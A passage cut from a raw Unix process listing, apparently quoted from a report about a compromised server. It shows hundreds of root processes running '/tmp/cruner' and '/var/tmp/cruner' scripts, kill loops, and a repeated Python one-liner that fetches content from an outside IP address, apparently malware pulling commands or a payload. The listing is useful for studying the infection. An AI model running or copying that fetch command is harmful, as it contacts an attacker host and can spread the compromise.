0 15:46:08 ? 0:00 xargs kill -9 > root 8762 1 0 Oct 06 ? 0:01 sh /var/tmp/cruner > root 15846 21170 0 15:46:08 ? 0:00 sh /tmp/cruner > root 9805 29578 0 15:45:59 ? 0:00 sleep 60 > root 17086 27046 0 15:46:08 ? 0:00 sleep 60 > root 28026 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 1346 1335 0 - ? 0:00 <defunct> > root 820 808 0 15:45:44 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 2073 16633 0 - ? 0:00 <defunct> > root 7195 25924 0 15:44:13 ? 0:00 bash -sh > root 29515 27838 0 15:44:55 ? 0:00 bash -sh > root 5637 19881 0 15:46:06 ? 0:00 sleep 60 > root 17897 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 27083 27996 0 15:45:18 ? 0:00 sleep 60 > root 10250 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 10485 26336 0 15:45:36 ? 0:00 bash -sh > root 11103 12107 0 15:44:04 ? 0:00 bash -sh > root 3961 13335 0 15:45:48 ? 0:00 bash -sh > root 21043 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 21187 29013 0 15:46:00 ? 0:00 xargs kill -9 > root 19748 14546 0 15:45:42 ? 0:00 sleep 60 > root 22440 847 0 15:45:57 ? 0:00 sleep 60 > root 19804 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 28835 18875 0 15:44:10 ? 0:00 bash -sh > root 7322 5052 0 15:46:07 ? 0:00 bash -sh > root 11918 1 0 Oct 06 ? 0:01 sh /var/tmp/cruner > root 5014 16093 0 15:46:06 ? 0:00 sleep 60 > root 17400 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 15011 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 6217 5017 0 15:45:28 ? 0:00 sleep 60 > root 14646 24792 0 15:46:08 ? 0:00 bash -sh > root 11689 18837 0 15:44:51 ? 0:00 bash -sh > root 14697 6107 0 - ? 0:00 <defunct> > root 6508 19494 0 15:45:20 ? 0:00 sleep 60 > root 25149 13941 0 - ? 0:00 <defunct> > root 23974 7979 0 15:45:47 ? 0:00 bash -sh > root 9978 1685 0 15:45:59 ? 0:00 sleep 60 > root 5918 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 7127 8016 0 - ? 0:00 <defunct> > root 5723 23807 0 15:45:49 ? 0:00 bash -sh > root 4599 3119 0 - ? 0:00 <defunct> > root 7266 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 24522 2099 0 15:45:30 ? 0:00 sleep 60 > root 19930 29174 0 - ? 0:00 <defunct> > root 14154 22151 0 15:45:11 ? 0:00 bash -sh > root 5025 29627 0 15:45:28 ? 0:00 bash -sh > root 14244 17081 0 15:44:43 ? 0:00 bash -sh > root 9798 4850 0 15:45:54 ? 0:00 bash -sh > root 26544 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 9962 23077 0 15:45:50 ? 0:00 sleep 60 > root 7026 21726 0 - ? 0:00 <defunct> > root 25282 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 15661 15446 0 15:43:02 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 11146 6216 0 15:44:47 ? 0:00 bash -sh > root 15776 15302 0 15:46:08 ? 0:00 sh /var/tmp/cruner > root 17490 7281 0 - ? 0:00 <defunct> > root 2311 19946 0 - ? 0:00 <defunct> > root 5382 16324 0 15:46:06 ? 0:00 sleep 60 > root 12381 12268 0 15:46:13 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 15805 15792 0 15:43:27 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 11809 16677 0 15:45:59 ? 0:00 bash -sh > root 28761 20173 0 15:43:06 ? 0:00 bash -sh > root 2466 1918 0 15:44:46 ? 0:00 bash -sh > root 1643 6374 0 15:45:53 ? 0:00 sh /var/tmp/cruner > root 20653 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 25434 29170 0 15:45:47 ? 0:00 sleep 60 > root 28686 18873 0 15:44:41 ? 0:00 bash -sh > root 2357 3460 0 - ? 0:00 <defunct> > root 9659 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 2209 7515 0 - ? 0:00 <defunct> > root 17620 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 9531 13767 0 15:45:59 ? 0:00 sleep 60 > root 13247 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 17819 17643 0 15:45:42 ? 0:00 bash -sh > root 19717 6791 0 15:44:35 ? 0:00 bash -sh > root 28642 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 19369 1 0 Oct 06 ? 0:01 sh /tmp/cruner > root 1923 1476 0 15:45:24 ? 0:00 sleep 60 > root 3075 12034 0 15:45:19 ? 0:00 sleep 60 > root 17968 4857 0 - ? 0:00 <defunct> > root 13171 17273 0 - ? 0:00 <defunct> > root 16954 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 26717 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 25265 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 14998 7231 0 15:43:11 ? 0:00 bash -sh > root 18462 5215 0 15:44:17 ? 0:00 bash -sh > root 24386 7247 0 15:43:14 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 7616 10754 0 15:45:36 ? 0:00 bash -sh > root 4019 3870 0 15:45:58 ? 0:00 sleep 60 > root 1414 8964 0 15:44:02 ? 0:00 bash -sh > root 24701 9521 0 15:46:10 ? 0:00 sleep 60 > root 16633 18974 0 15:45:29 ? 0:00 bash -sh > root 7149 1 0 Oct 06 ? 0:01 sh /var/tmp/cruner > root 8603 14991 0 15:44:24 ? 0:00 bash -sh > root 21175 1 0 01:36:23 ? 0:00 sh /var/tmp/cruner > root 3972 2513 0 15:45:19 ? 0:00 bash -sh > root 12108 11957 0 15:45:59 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 27899 1127 0 15:45:57 ? 0:00 sleep 60 > root 9559 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 9639 18332 0 15:46:03 ? 0:00 xargs kill -9 > root 27137 1 0 Oct 05 ? 0:02 sh /tmp/cruner > root 8171 23987 0 - ? 0:00 <defunct> > root 10093 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 23286 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 28046 28909 0 15:45:34 ? 0:00 sleep 60 > root 15090 14741 0 15:46:04 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 15408 3807 0 15:46:00 ? 0:00 bash -sh > root 15982 15980 0 15:45:22 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 22627 22618 0 15:39:09 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 6242 2796 0 15:45:49 ? 0:00 bash -sh > root 5458 13120 0 - ? 0:00 <defunct> > root 27132 12257 0 15:45:43 ? 0:00 sleep 60 > root 9156 4863 0 15:46:03 ? 0:00 sleep 60 > root 14641 11131 0 - ? 0:00 <defunct> > root 6756 7992 0 15:45:54 ? 0:00 bash -sh > root 11329 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 10470 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 12528 6177 0 15:46:08 ? 0:00 xargs kill -9 > root 23190 25192 0 15:45:38 ? 0:00 bash -sh > root 19977 27369 0 15:43:52 ? 0:00 bash -sh > root 5357 12058 0 15:45:49 ? 0:00 bash -sh > root 22295 12612 0 - ? 0:00 <defunct> > root 19636 19618 0 15:45:12 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 28358 4034 0 - ? 0:00 <defunct> > root 7949 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 11249 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 25435 1 0 Oct 06 ? 0:01 sh /var/tmp/cruner > root 15688 24969 0 15:43:21 ? 0:00 bash -sh > root 26132 2113 0 15:46:01 ? 0:00 sleep 60 > root 4546 1 0 Oct 06 ? 0:01 sh /var/tmp/cruner > root 4787 7496 0 - ? 0:00 <defunct> > root 16686 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 9261 4555 0 15:45:54 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 16434 2303 0 15:45:51 ? 0:00 bash -sh > root 4334 3948 0 15:45:54 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 12370 7015 0 15:45:41 ? 0:00 sleep 60 > root 19896 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 20516 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 11839 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 11292 114 0 15:43:19 ? 0:00 bash -sh > root 18084 1256 0 - ? 0:00 <defunct> > root 3452 3446 0 15:43:36 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 29001 17634 0 15:45:43 ? 0:00 sleep 60 > root 20142 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 29269 15347 0 15:45:44 ? 0:00 sh /var/tmp/cruner > root 19115 15612 0 15:45:42 ? 0:00 sleep 60 > root 19312 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 3892 24553 0 15:45:19 ? 0:00 sleep 60 > root 8683 8603 0 15:44:24 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 3440 7029 0 15:45:28 ? 0:00 bash -sh > root 23496 27226 0 15:45:13 ? 0:00 bash -sh > root 9707 6756 0 15:45:54 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 25541 25071 0 15:45:43 ? 0:00 xargs kill -9 > root 5631 5625 0 15:46:12 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 18880 11665 0 15:46:09 ? 0:00 sleep 60 > root 29543 18519 0 - ? 0:00 <defunct> > root 14009 3252 0 15:46:08 ? 0:00 bash -sh > root 12461 11739 0 15:46:08 ? 0:00 awk {print $7} > root 23468 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 17468 22189 0 15:46:08 ? 0:00 sleep 60 > root 3607 9160 0 15:45:35 ? 0:00 sleep 60 > root 4998 1 0 Oct 05 ? 0:02 sh /tmp/cruner > root 12159 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 19773 1 0 Oct 06 ? 0:01 sh /var/tmp/cruner > root 8277 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 22086 24881 0 15:44:53 ? 0:00 bash -sh > root 27311 10919 0 15:44:49 ? 0:00 bash -sh > root 22026 18788 0 15:43:04 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 831 18369 0 15:45:48 ? 0:00 sleep 60 > root 12086 10943 0 15:44:04 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 29750 12908 0 15:45:34 ? 0:00 sleep 60 > root 23018 14056 0 - ? 0:00 <defunct> > root 25365 25359 0 15:45:39 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 21495 23861 0 15:44:53 ? 0:00 bash -sh > root 26889 1 0 Oct 06 ? 0:01 sh /tmp/cruner > root 21779 20923 0 15:43:14 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 22890 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 29620 28929 0 15:45:24 ? 0:00 sleep 60 > root 27764 2712 0 15:46:02 ? 0:00 sleep 60 > root 22316 2110 0 15:45:06 ? 0:00 bash -sh > root 10693 16357 0 15:45:21 ? 0:00 bash -sh > root 13228 17543 0 15:44:04 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 21983 8663 0 15:45:57 ? 0:00 sleep 60 > root 700 27612 0 15:44:37 ? 0:00 bash -sh > root 286 29258 0 15:45:44 ? 0:00 bash -sh > root 6260 5819 0 15:45:35 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 23111 10358 0 15:45:57 ? 0:00 bash -sh > root 13533 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 26918 7543 0 15:45:18 ? 0:00 sleep 60 > root 4705 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 23762 1 0 Oct 05 ? 0:02 sh /tmp/cruner > root 2304 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 23322 14595 0 - ? 0:00 <defunct> > root 5300 23802 0 15:45:49 ? 0:00 bash -sh > root 15002 72 0 15:46:08 ? 0:00 sleep 60 > root 16868 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 3260 19443 0 - ? 0:00 <defunct> > root 2306 12741 0 15:44:11 ? 0:00 bash -sh > root 21908 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 28259 1006 0 15:45:34 ? 0:00 sleep 60 > root 13234 10194 0 15:46:13 ? 0:00 sh /var/tmp/cruner > root 7155 21015 0 - ? 0:00 <defunct> > root 29743 12844 0 15:46:05 ? 0:00 sleep 60 > root 25146 4781 0 - ? 0:00 <defunct> > root 17782 28580 0 15:44:57 ? 0:00 bash -sh > root 1292 27868 0 15:46:06 ? 0:00 bash -sh > root 7070 22638 0 15:44:56 ? 0:00 bash -sh > root 20703 13726 0 - ? 0:00 <defunct> > root 13044 1 0 19:59:40 ? 0:00 sh /var/tmp/cruner > root 23788 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 11546 18700 0 - ? 0:00 <defunct> > root 27571 24518 0 15:45:18 ? 0:00 sleep 60 > root 8414 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 25492 17664 0 - ? 0:00 <defunct> > root 11857 14412 0 15:46:13 ? 0:00 bash -sh > root 25809 26089 0 15:46:05 ? 0:00 sleep 60 > root 13762 2267 0 15:43:51 ? 0:00 bash -sh > root 28487 16018 0 15:44:10 ? 0:00 bash -sh > root 26725 18692 0 15:45:18 ? 0:00 sleep 60 > root 20999 19950 0 15:44:44 ? 0:00 bash -sh > root 25414 4349 0 15:45:47 ? 0:00 sleep 60 > root 26029 25992 0 15:44:54 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 11206 18936 0 - ? 0:00 <defunct> > root 10802 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 20168 28152 0 15:45:06 ? 0:00 bash -sh > root 15699 24548 0 15:45:22 ? 0:00 bash -sh > root 23271 15184 0 15:44:08 ? 0:00 bash -sh > root 10384 5198 0 15:45:59 ? 0:00 bash -sh > root 9855 13028 0 15:46:07 ? 0:00 sleep 60 > root 10151 23362 0 - ? 0:00 <defunct> > root 23899 7864 0 - ? 0:00 <defunct> > root 9744 144 0 - ? 0:00 <defunct> > root 7878 29455 0 - ? 0:00 <defunct> > root 6548 4900 0 - ? 0:00 <defunct> > root 12647 1 0 Oct 05 ? 0:02 sh /tmp/cruner > root 2204 21044 0 15:45:53 ? 0:00 sh /var/tmp/cruner > root 14578 14530 0 15:46:13 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 1990 10582 0 15:45:35 ? 0:00 bash -sh > root 15789 26922 0 15:46:08 ? 0:00 sh /var/tmp/cruner > root 22787 8146 0 15:45:33 ? 0:00 xargs kill -9 > root 13085 1352 0 - ? 0:00 <defunct> > root 373 14847 0 - ? 0:00 <defunct> > root 7617 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 23995 17516 0 15:43:23 ? 0:00 bash -sh > root 18214 1 0 Oct 06 ? 0:01 sh /var/tmp/cruner > root 11729 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 14692 26667 0 15:45:11 ? 0:00 bash -sh > root 13246 14536 0 15:45:21 ? 0:00 sleep 60 > root 10901 1 0 18:03:48 ? 0:01 sh /var/tmp/cruner > root 410 28005 0 - ? 0:00 <defunct> > root 20697 5119 0 15:45:12 ? 0:00 bash -sh > root 26326 20564 0 15:45:53 ? 0:00 sleep 60 > root 16674 17664 0 - ? 0:00 <defunct> > root 8848 15059 0 - ? 0:00 <defunct> > root 609 4775 0 15:45:48 ? 0:00 xargs kill -9 > root 12309 1 0 Oct 06 ? 0:01 sh /var/tmp/cruner > root 8031 10830 0 15:46:07 ? 0:00 bash -sh > root 19546 20910 0 15:46:00 ? 0:00 xargs kill -9 > root 17090 24776 0 15:45:22 ? 0:00 sleep 60 > root 17849 17827 0 - ? 0:00 <defunct> > root 28010 8189 0 15:45:34 ? 0:00 xargs kill -9 > root 27475 62 0 15:45:03 ? 0:00 bash -sh > root 29262 4987 0 - ? 0:00 <defunct> > root 16168 21897 0 - ? 0:00 <defunct> > root 14293 1 0 23:14:10 ? 0:00 sh /tmp/cruner > root 25405 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 1050 1915 0 15:46:06 ? 0:00 bash -sh > root 7473 12884 0 15:45:36 ? 0:00 bash -sh > root 27087 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 15097 14889 0 - ? 0:00 <defunct> > root 27926 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 9480 15849 0 15:43:19 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 6247 4698 0 - ? 0:00 <defunct> > root 23584 1067 0 15:44:40 ? 0:00 bash -sh > root 18718 21886 0 15:45:26 ? 0:00 sleep 60 > root 24859 7237 0 15:44:54 ? 0:00 bash -sh > root 13864 2814 0 - ? 0:00 <defunct> > root 12466 1 0 Oct 06 ? 0:01 sh /var/tmp/cruner > root 18286 2976 0 - ? 0:00 <defunct> > root 3459 1 0 Oct 05 ? 0:02 sh /tmp/cruner > root 15598 11066 0 15:46:08 ? 0:00 bash -sh > root 1549 2906 0 15:44:11 ? 0:00 bash -sh > root 16068 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 9542 9535 0 15:45:31 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 27872 27420 0 15:45:34 ? 0:00 sleep 60 > root 16822 15035 0 15:46:00 ? 0:00 sh /var/tmp/cruner > root 24845 24825 0 15:44:58 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 2959 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 24939 24583 0 15:46:10 ? 0:00 sleep 60 > root 28455 8257 0 - ? 0:00 <defunct> > root 13429 13366 0 - ? 0:00 <defunct> > root 16305 14041 0 15:45:42 ? 0:00 bash -sh > root 16166 29913 0 15:45:51 ? 0:00 bash -sh > root 4077 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 20247 1634 0 15:46:00 ? 0:00 sleep 60 > root 22690 12775 0 15:43:04 ? 0:00 bash -sh > root 3310 1861 0 - ? 0:00 <defunct> > root 18102 29707 0 15:45:26 ? 0:00 xargs kill -9 > root 8916 7242 0 15:45:49 ? 0:00 sleep 60 > root 24625 18675 0 15:45:39 ? 0:00 bash -sh > root 14346 20059 0 15:46:13 ? 0:00 sh /var/tmp/cruner > root 8777 8354 0 15:45:31 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 13618 6669 0 15:45:55 ? 0:00 sleep 60 > root 15597 17972 0 15:46:08 ? 0:00 bash -sh > root 13593 11681 0 15:46:13 ? 0:00 bash -sh > root 16934 11026 0 15:45:16 ? 0:00 sleep 60 > root 5373 23763 0 15:46:06 ? 0:00 sh /var/tmp/cruner > root 9017 28784 0 15:45:50 ? 0:00 bash -sh > root 23097 23091 0 15:44:36 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 14831 9199 0 15:46:08 ? 0:00 sleep 60 > root 24199 17088 0 15:44:54 ? 0:00 bash -sh > root 17529 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 28250 11014 0 15:45:27 ? 0:00 sleep 60 > root 5505 1754 0 15:45:20 ? 0:00 sleep 60 > root 7223 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 25918 22793 0 15:45:47 ? 0:00 sh /tmp/cruner > root 23088 11574 0 15:44:32 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 29534 29409 0 15:45:18 ? 0:00 sleep 60 > root 14040 1 0 Oct 05 ? 0:02 sh /tmp/cruner > root 13571 22848 0 15:45:11 ? 0:00 bash -sh > root 4643 14335 0 15:45:49 ? 0:00 sh /var/tmp/cruner > root 11004 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 10990 2292 0 15:44:04 ? 0:00 bash -sh > root 27448 5276 0 15:45:34 ? 0:00 sleep 60 > root 13223 6161 0 - ? 0:00 <defunct> > root 7952 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 22217 23416 0 15:45:42 ? 0:00 xargs kill -9 > root 4928 19231 0 15:45:35 ? 0:00 bash -sh > root 12006 29024 0 15:45:11 ? 0:00 bash -sh > root 14770 1 0 Oct 05 ? 0:02 sh /tmp/cruner > root 7825 2085 0 15:45:20 ? 0:00 sleep 60 > root 22782 9822 0 15:45:23 ? 0:00 bash -sh > root 10414 28623 0 - ? 0:00 <defunct> > root 13835 10207 0 15:46:08 ? 0:00 sleep 60 > root 3442 7117 0 - ? 0:00 <defunct> > root 21616 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 25342 14825 0 15:44:09 ? 0:00 bash -sh > root 14307 14294 0 15:45:51 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 4343 1 0 Oct 05 ? 0:02 sh /tmp/cruner > root 24929 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 11056 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 7028 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 10931 2077 0 - ? 0:00 <defunct> > root 8853 16643 0 15:45:20 ? 0:00 bash -sh > root 28804 10433 0 15:45:14 ? 0:00 bash -sh > root 22434 22431 0 15:45:06 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 73 27560 0 15:44:01 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 19065 15145 0 15:46:00 ? 0:00 xargs kill -9 > root 18657 18260 0 15:45:37 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 4571 21337 0 - ? 0:00 <defunct> > root 28279 13149 0 15:46:10 ? 0:00 sleep 60 > root 18923 15744 0 15:43:28 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 7539 7228 0 - ? 0:00 <defunct> > root 12848 15406 0 15:46:04 ? 0:00 sleep 60 > root 12927 11292 0 15:43:20 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 29128 8172 0 - ? 0:00 <defunct> > root 6591 16051 0 15:45:28 ? 0:00 sleep 60 > root 25749 7670 0 - ? 0:00 <defunct> > root 29580 15217 0 15:46:02 ? 0:00 bash -sh > root 26251 21136 0 - ? 0:00 <defunct> > root 17450 29415 0 15:45:42 ? 0:00 sh /var/tmp/cruner > root 2269 19802 0 - ? 0:00 <defunct> > root 26450 20737 0 15:45:34 ? 0:00 sleep 60 > root 19633 1 0 Oct 06 ? 0:01 sh /var/tmp/cruner > root 20746 15869 0 - ? 0:00 <defunct> > root 27086 23639 0 15:45:18 ? 0:00 sleep 60 > root 10540 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 23114 14694 0 - ? 0:00 <defunct> > root 28045 1 0 17:08:38 ? 0:01 sh /var/tmp/cruner > root 11940 9166 0 - ? 0:00 <defunct> > root 27618 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 20818 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 1293 15101 0 15:46:06 ? 0:00 bash -sh > root 20398 4467 0 15:46:09 ? 0:00 bash -sh > root 199 23550 0 15:46:11 ? 0:00 bash -sh > root 8858 20468 0 15:46:12 ? 0:00 sh /var/tmp/cruner > root 25986 23890 0 15:45:53 ? 0:00 /bin/ksh -p /bin/kill -9 > root 8999 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 6668 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 8438 1 0 Oct 06 ? 0:01 sh /var/tmp/cruner > root 20551 20436 0 - ? 0:00 <defunct> > root 8833 20874 0 15:46:07 ? 0:00 sleep 60 > root 11911 1512 0 15:46:07 ? 0:00 sleep 60 > root 26967 6717 0 - ? 0:00 <defunct> > root 5857 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 21483 7790 0 - ? 0:00 <defunct> > root 12069 1 0 Oct 06 ? 0:01 sh /var/tmp/cruner > root 3219 6945 0 - ? 0:00 <defunct> > root 7045 2589 0 - ? 0:00 <defunct> > root 23736 8132 0 - ? 0:00 <defunct> > root 1225 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 3533 27020 0 15:45:48 ? 0:00 sh /tmp/cruner > root 22775 20565 0 15:45:26 ? 0:00 sleep 60 > root 1099 222 0 15:46:06 ? 0:00 bash -sh > root 26101 23567 0 15:45:43 ? 0:00 xargs kill -9 > root 14779 4585 0 15:46:08 ? 0:00 sleep 60 > root 3336 5964 0 15:42:45 ? 0:00 bash -sh > root 13924 24119 0 - ? 0:00 <defunct> > root 12287 16893 0 15:46:13 ? 0:00 sh /var/tmp/cruner > root 3360 128 0 - ? 0:00 <defunct> > root 21742 8598 0 15:45:06 ? 0:00 bash -sh > root 27803 15655 0 15:45:57 ? 0:00 sleep 60 > root 14261 18081 0 15:45:41 ? 0:00 bash -sh > root 8059 5614 0 15:45:45 ? 0:00 sleep 60 > root 6340 3711 0 - ? 0:00 <defunct> > root 13296 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 1503 9213 0 - ? 0:00 <defunct> > root 21684 28677 0 15:45:29 ? 0:00 sleep 60 > root 4322 20421 0 15:45:28 ? 0:00 sleep 60 > root 7517 21060 0 - ? 0:00 <defunct> > root 22996 17181 0 15:45:33 ? 0:00 sleep 60 > root 2880 233 0 15:44:50 ? 0:00 bash -sh > root 19617 1 0 Oct 06 ? 0:01 sh /tmp/cruner > root 17061 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 13477 21703 0 15:45:37 ? 0:00 bash -sh > root 2282 15503 0 - ? 0:00 <defunct> > root 2614 17233 0 - ? 0:00 <defunct> > root 7821 7117 0 - ? 0:00 <defunct> > root 23226 21002 0 15:46:05 ? 0:00 sleep 60 > root 27912 10083 0 15:45:18 ? 0:00 sleep 60 > root 23511 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 24759 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 3693 25791 0 - ? 0:00 <defunct> > root 4371 20944 0 15:45:40 ? 0:00 xargs kill -9 > root 11192 1 0 Oct 06 ? 0:01 sh /tmp/cruner > root 22862 11446 0 15:45:38 ? 0:00 sleep 60 > root 25104 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 17584 23186 0 15:46:08 ? 0:00 sleep 60 > root 18318 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 24024 24014 0 15:46:05 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 12318 2868 0 - ? 0:00 <defunct> > root 17373 1 0 Oct 06 ? 0:01 sh /var/tmp/cruner > root 3158 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 26270 26401 0 15:45:47 ? 0:00 sleep 60 > root 9903 9379 0 15:45:41 ? 0:00 sh /var/tmp/cruner > root 19195 2259 0 - ? 0:00 <defunct> > root 23541 22315 0 15:46:05 ? 0:00 bash -sh > root 14991 1 0 Oct 05 ? 0:02 sh /tmp/cruner > root 6729 26319 0 15:45:49 ? 0:00 sleep 60 > root 24226 8635 0 15:45:13 ? 0:00 bash -sh > root 20955 25143 0 - ? 0:00 <defunct> > root 21021 17616 0 - ? 0:00 <defunct> > root 14687 8119 0 15:45:41 ? 0:00 /bin/ksh -p /bin/kill -9 > root 7358 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 24992 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 9016 3714 0 15:45:54 ? 0:00 sleep 60 > root 27062 1 0 Oct 06 ? 0:01 sh /var/tmp/cruner > root 9496 9491 0 15:44:24 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 21430 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 3701 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 26723 25314 0 15:43:15 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 10037 25268 0 - ? 0:00 <defunct> > root 22735 19216 0 15:45:13 ? 0:00 sh /var/tmp/cruner > root 27580 8436 0 15:45:34 ? 0:00 xargs kill -9 > root 9465 1 0 Oct 06 ? 0:01 sh /var/tmp/cruner > root 20968 6816 0 - ? 0:00 <defunct> > root 10489 15050 0 15:45:10 ? 0:00 bash -sh > root 27603 10130 0 - ? 0:00 <defunct> > root 19508 